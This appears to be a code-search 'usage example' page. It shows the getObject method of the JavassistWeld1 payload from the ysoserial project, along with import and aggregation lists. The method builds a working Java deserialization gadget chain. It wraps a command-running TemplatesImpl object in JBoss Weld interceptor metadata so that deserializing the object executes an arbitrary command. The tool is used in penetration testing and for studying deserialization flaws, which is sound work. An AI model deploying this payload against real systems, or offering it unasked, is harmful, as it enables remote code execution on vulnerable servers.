Search in sources :

Example 1 with InterceptionModelBuilder

use of org.jboss.weld.interceptor.builder.InterceptionModelBuilder in project ysoserial by frohoff.

the class JavassistWeld1 method getObject.

public Object getObject(final String command) throws Exception {
    final Object gadget = Gadgets.createTemplatesImpl(command);
    InterceptionModelBuilder builder = InterceptionModelBuilder.newBuilderFor(HashMap.class);
    ReflectiveClassMetadata metadata = (ReflectiveClassMetadata) ReflectiveClassMetadata.of(HashMap.class);
    InterceptorReference interceptorReference = ClassMetadataInterceptorReference.of(metadata);
    Set<InterceptionType> s = new HashSet<InterceptionType>();
    s.add(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE);
    Constructor defaultMethodMetadataConstructor = DefaultMethodMetadata.class.getDeclaredConstructor(Set.class, MethodReference.class);
    defaultMethodMetadataConstructor.setAccessible(true);
    MethodMetadata methodMetadata = (MethodMetadata) defaultMethodMetadataConstructor.newInstance(s, MethodReference.of(TemplatesImpl.class.getMethod("newTransformer"), true));
    List list = new ArrayList();
    list.add(methodMetadata);
    Map<org.jboss.weld.interceptor.spi.model.InterceptionType, List<MethodMetadata>> hashMap = new HashMap<org.jboss.weld.interceptor.spi.model.InterceptionType, List<MethodMetadata>>();
    hashMap.put(org.jboss.weld.interceptor.spi.model.InterceptionType.POST_ACTIVATE, list);
    SimpleInterceptorMetadata simpleInterceptorMetadata = new SimpleInterceptorMetadata(interceptorReference, true, hashMap);
    builder.interceptAll().with(simpleInterceptorMetadata);
    InterceptionModel model = builder.build();
    HashMap map = new HashMap();
    map.put("ysoserial", "ysoserial");
    DefaultInvocationContextFactory factory = new DefaultInvocationContextFactory();
    InterceptorInstantiator interceptorInstantiator = new InterceptorInstantiator() {

        public Object createFor(InterceptorReference paramInterceptorReference) {
            return gadget;
        }
    };
    return new InterceptorMethodHandler(map, metadata, model, interceptorInstantiator, factory);
}
Also used : InterceptorReference(org.jboss.weld.interceptor.spi.metadata.InterceptorReference) ClassMetadataInterceptorReference(org.jboss.weld.interceptor.reader.ClassMetadataInterceptorReference) InterceptorInstantiator(org.jboss.weld.interceptor.spi.instance.InterceptorInstantiator) InterceptorMethodHandler(org.jboss.weld.interceptor.proxy.InterceptorMethodHandler) InterceptionType(org.jboss.weld.interceptor.spi.model.InterceptionType) DefaultInvocationContextFactory(org.jboss.weld.interceptor.proxy.DefaultInvocationContextFactory) InterceptionModelBuilder(org.jboss.weld.interceptor.builder.InterceptionModelBuilder) Constructor(java.lang.reflect.Constructor) InterceptionModel(org.jboss.weld.interceptor.spi.model.InterceptionModel) TemplatesImpl(com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl) ReflectiveClassMetadata(org.jboss.weld.interceptor.reader.ReflectiveClassMetadata) SimpleInterceptorMetadata(org.jboss.weld.interceptor.reader.SimpleInterceptorMetadata) MethodMetadata(org.jboss.weld.interceptor.spi.metadata.MethodMetadata) DefaultMethodMetadata(org.jboss.weld.interceptor.reader.DefaultMethodMetadata)

Aggregations

TemplatesImpl (com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl)1 Constructor (java.lang.reflect.Constructor)1 InterceptionModelBuilder (org.jboss.weld.interceptor.builder.InterceptionModelBuilder)1 DefaultInvocationContextFactory (org.jboss.weld.interceptor.proxy.DefaultInvocationContextFactory)1 InterceptorMethodHandler (org.jboss.weld.interceptor.proxy.InterceptorMethodHandler)1 ClassMetadataInterceptorReference (org.jboss.weld.interceptor.reader.ClassMetadataInterceptorReference)1 DefaultMethodMetadata (org.jboss.weld.interceptor.reader.DefaultMethodMetadata)1 ReflectiveClassMetadata (org.jboss.weld.interceptor.reader.ReflectiveClassMetadata)1 SimpleInterceptorMetadata (org.jboss.weld.interceptor.reader.SimpleInterceptorMetadata)1 InterceptorInstantiator (org.jboss.weld.interceptor.spi.instance.InterceptorInstantiator)1 InterceptorReference (org.jboss.weld.interceptor.spi.metadata.InterceptorReference)1 MethodMetadata (org.jboss.weld.interceptor.spi.metadata.MethodMetadata)1 InterceptionModel (org.jboss.weld.interceptor.spi.model.InterceptionModel)1 InterceptionType (org.jboss.weld.interceptor.spi.model.InterceptionType)1